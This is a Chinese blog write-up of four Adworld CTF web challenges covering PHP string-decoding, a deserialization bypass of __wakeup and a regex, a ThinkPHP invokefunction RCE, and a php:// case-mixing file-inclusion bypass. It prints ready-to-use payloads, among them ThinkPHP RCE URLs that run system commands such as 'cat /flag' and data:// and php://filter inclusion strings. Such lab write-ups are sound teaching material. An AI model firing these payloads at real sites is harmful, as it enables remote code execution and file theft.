跳到主要内容
极客日志极客日志面向AI+效率的开发者社区
首页博客我的书GitHub 精选镜像AI 生图工具UI配色美学关于
搜索内容 / 工具 / 仓库 / 镜像...⌘K搜索
注册
博客列表
PHP大前端算法

攻防世界 Web 题解:反序列化、RCE 及文件包含漏洞

通过四个攻防世界 Web 题目演示常见漏洞利用。包括字符串加密解密逆向、PHP 反序列化绕过__wakeup 与正则过滤、ThinkPHP 框架 RCE 利用以及文件包含伪协议绕过。提供了详细代码审计思路与 Payload 构造方法。

DotNetGuy发布于 2026/4/6更新于 2026/8/2375 浏览
攻防世界 Web 题解:反序列化、RCE 及文件包含漏洞

文章配图

一:WEB 2

打开是一个 php 代码。

文章配图

代码审计

  1. 首先给了一段密文也就是需要解密的 flag。
  2. 然后对传进来的 str 进行字符串反转($_o)。
  3. 进入 for 循环,首先截取一个字符 (赋值给$c),将这个字符转换为 ascii 值进行 +1(赋值给$)然后将 +1 后的 ascii 在转换为字符 (赋值给$_c) 输出最后进行拼接(例如先将 abc 变为 cba 然后再加 1 最后拼接就是 dbc)。
  4. 对$_进行 base64 编码然后再反转最后进行 rot13 转换。

解密只需要将如上倒过来即可。先进行 rot13 转化然后进行 strrev 反转在进行 base64 解码将解码后的结果进行截取对其 ascii 减 1 后转换为字符最后拼接完再反转即可得到 flag。

文章配图


解密代码如下

<?php 
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws"; // 逆向 str_rot13 
$step1 = str_rot13($miwen); 
// 逆向 strrev 
$step2 = strrev($step1); 
// 逆向 base64_encode 
$step3 = base64_decode($step2); 
// 逆向 ord($char)+1 
$decrypted = ""; 
for ($i = 0; $i < strlen($step3); $i++) { 
    $char = substr($step3, $i, 1); 
    $decrypted .= chr(ord($char) - 1); 
} 
// 反转字符串得到最终结果 
$flag = strrev($decrypted); 
echo $flag; 
?>

二:Web_php_unserialize

打开为如下所示,是一个反序列化的题目。

文章配图

进行代码审计

首先定义一个 demo 的类,并且定义一个私有属性初始值为 index.php。 然后又声明了两个个函数,$file 是用于接收外部传入的文件路径。 __construct:对变量进行赋初始值也就是 index.php。 _destruct:在程序结束时以高亮输出。 在往下下看它提示我们 flag 在 fl4g.php 中,所以只要我们将 index.php 修改为 fl4g.php 就可以得到 flag。

第二段代码,首先接受一个 var 对其进行 base64 解密然后利用正则表达式对其过滤如果不符合进行反序列化符合的话就输出 stop。

但是这段代码中有两个限制条件那就是__wakeup 和正则表达式 preg_match('/[oc]:\d+:/i')。

Wakeup 非常容易绕过那就是属性值大于属性个数 正则该如何绕过。

序列化结果如下:

O:4:"Demo":1:{s:10:" Demo file";s:8:"fl4g.php";}

文章配图

**Wakeup 绕过:**O:4:"Demo":2:{s:10:" Demo file";s:8:"fl4g.php";}

**正则绕过:**O:+4:"Demo":2:{s:10:" Demo file";s:8:"fl4g.php";}

Payload:TzorNDoiRGVtbyI6Mjp7czoxMDoiIERlbW8gZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

文章配图

但是我们发现输入后没有出现 flag。

文章配图

其实问题在下图所示。

Demo 前后有两个空格,那我们加上这两个空格看看能不能拿到 flag。

文章配图

还是什么都没有。

文章配图

只能用如下方法了使用 str_replace 替换方案。

最终

payload:?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

文章配图

成功拿到 flag。

文章配图


解密代码

<?php 
class Demo { 
    private $file = 'index.php'; 
    public function __construct($file) { 
        $this->file = $file; 
    } 
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    } 
    function __wakeup() { 
        if ($this->file != 'index.php') { //the secret is in the fl4g.php 
            $this->file = 'index.php'; 
        } 
    } 
} 
$flag=new Demo ('fl4g.php'); 
$flag =(serialize($flag)); 
$flag =str_replace('O:4','O:+4',$flag); 
$flag =str_replace(':1:',':2:',$flag); 
echo base64_encode($flag); 
?> 

三:php_rce

打开如下图所示,

通过搜索引擎搜索这个框架发现这个框架的漏洞就是对控制器名过滤不严,可以通过 url 调用到框架内部的敏感函数,进而导致漏洞。

文章配图

通过 payload:

/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find%20/%20-name%20"flag"

找到 flag 所在位置。

文章配图

最终 payload:

/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/flag

成功拿到 flag。

文章配图


四:web_php_include

打开如下如所示,这是一道文件包含题目。

文章配图

代码审计

首先接收一个 page 然后进行 while 循环利用 strstr 函数查看 page 中是否包含 php:// 如果包含则将其替换为空 然后退出循环

所以如果想拿到 flag 就需要绕过 strstr 函数,它过滤的是 php:// 那么利用大小写不就绕过了 构建 payload:?page=Php://input.然后利用爆破执行命令 成功找到 flag 文件。

文章配图

成功拿到 flag。

文章配图


五:总结

1. WEB 2

题型特征

  • 基础类题目,通常考察查看源代码、HTTP 头信息或简单请求操作。
  • 可能隐藏 Flag 在 HTML 注释、响应头或通过简单请求触发返回。

解题思路

  1. 查看页面源代码:按 F12 或右键查看源码,搜索 flag 或 hint,常见于注释中。
  2. 检查 HTTP 响应头:使用浏览器开发者工具的'网络'标签查看响应头,可能直接包含 Flag。
  3. 发送特定请求:修改请求方法(GET/POST),如提交参数?what=flag;使用 Python 脚本快速发送 POST 请求。
2. Web_php_unserialize

题型特征

  • 涉及 PHP 反序列化漏洞,通过构造恶意序列化数据触发魔术方法(如__destruct)执行命令。
  • 需绕过__wakeup 方法限制及正则过滤。

解题思路

  1. 绕过__wakeup:修改序列化字符串中对象属性数量,使其大于实际数量(如将 O:4:"Demo":1:改为 O:+4:"Demo":2:)。
  2. 正则过滤绕过:替换 O:4 为 O:+4,利用正则表达式/[oc]:\d+:/i 不匹配 + 的特性。
  3. 构造 Payload:示例序列化字符串:O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";},需进行 Base64 编码后传参。
3. php_rce

题型特征

  • 利用框架的远程代码执行漏洞,通过特定路由或参数注入命令。

解题思路

  1. Payload 构造:尝试不同版本 Payload。
  2. 读取文件:?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag
  3. 查找 Flag 文件:?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name "flag"
  4. 执行系统命令:?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls
4. web_php_include

题型特征

  • 文件包含漏洞,利用 PHP 伪协议(如 data://、php://input)执行代码。
  • 常见过滤场景:替换 php://关键字,需绕过协议限制。

解题思路

  1. 伪协议利用:
  2. 绕过 php://过滤:大小写混淆(如 pHp://)或使用 data://。
  3. 文件读取:使用 php://filter 读取源码:?page=php://filter/convert.base64-encode/resource=index.php
  4. Base64 编码绕过:?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpOw==
  5. 执行代码:?page=data://text/plain,

目录

  1. 一:WEB 2
  2. 二:Webphpunserialize
  3. 三:php_rce
  4. 四:webphpinclude
  5. 五:总结
  6. 1. WEB 2
  7. 2. Webphpunserialize
  8. 3. php_rce
  9. 4. webphpinclude
  • 免费图片AI生成工具免费生成了解详情
  • Magick API 一键接入全球大模型注册送1000万token查看
  • 免费图片视频在线生成30秒,将你的创意变成现实开始设计
  • X/Twitter免费视频下载器免登陆无限额度免费视频解析下载了解详情
  • 100+免费在线小游戏爽一把
极客日志微信公众号二维码

微信扫一扫,关注极客日志

微信公众号「极客日志V2」,在微信中扫描左侧二维码关注。展示文案:极客日志V2 zeeklog

更多推荐文章

查看全部
  • Python 3.14 无 GIL 模式解析:NumPy 3.0 适配与并发性能提升
  • CANN 技术栈解析:Python、C++ 及算子开发选型指南
  • OpenAI 首款 AI 硬件为笔形设备并推新音频模型,Pickle AR 眼镜存疑
  • Linux 下 OpenClaw 配置教程(集成局域网 Ollama)
  • Transformer 算法核心架构与原理详解
  • Whisper 语音转文字工具安装与使用指南
  • Spring IoC 与依赖注入 (DI) 核心解析
  • OpenClaw 桌面自动化 AI 部署与日常使用指南
  • 轻量级日历组件 Calendar.js 集成指南
  • Python 学习路径与副业可行性分析
  • 自然语言处理在金融领域的应用与实战
  • 数据结构:常见排序算法详解
  • JDK 动态代理与 CGLIB 动态代理区别及 Spring AOP 适配原理
  • 利用 Python 开发副业:数据抓取与变现实战指南
  • 密码攻击实践:获取并破解 Net-NTLMv2 哈希(上)
  • BK7258 对接 LiveKit WebRTC:端侧适配全流程
  • AI 时代产品经理核心工作流与效率提升指南
  • Python 异步爬虫与 K8S 弹性伸缩:构建高并发数据采集引擎
  • 前端实战:从零实现浏览器桌面通知功能
  • Python 爬虫实战:7 个日常常用案例详解

相关免费在线工具

  • 加密/解密文本

    使用加密算法(如AES、TripleDES、Rabbit或RC4)加密和解密文本明文。 在线工具,加密/解密文本在线工具,online

  • Gemini 图片去水印

    基于开源反向 Alpha 混合算法去除 Gemini/Nano Banana 图片水印,支持批量处理与下载。 在线工具,Gemini 图片去水印在线工具,online

  • curl 转代码

    解析常见 curl 参数并生成 fetch、axios、PHP curl 或 Python requests 示例代码。 在线工具,curl 转代码在线工具,online

  • Base64 字符串编码/解码

    将字符串编码和解码为其 Base64 格式表示形式即可。 在线工具,Base64 字符串编码/解码在线工具,online

  • Base64 文件转换器

    将字符串、文件或图像转换为其 Base64 表示形式。 在线工具,Base64 文件转换器在线工具,online

  • Markdown转HTML

    将 Markdown(GFM)转为 HTML 片段,浏览器内 marked 解析;与 HTML转Markdown 互为补充。 在线工具,Markdown转HTML在线工具,online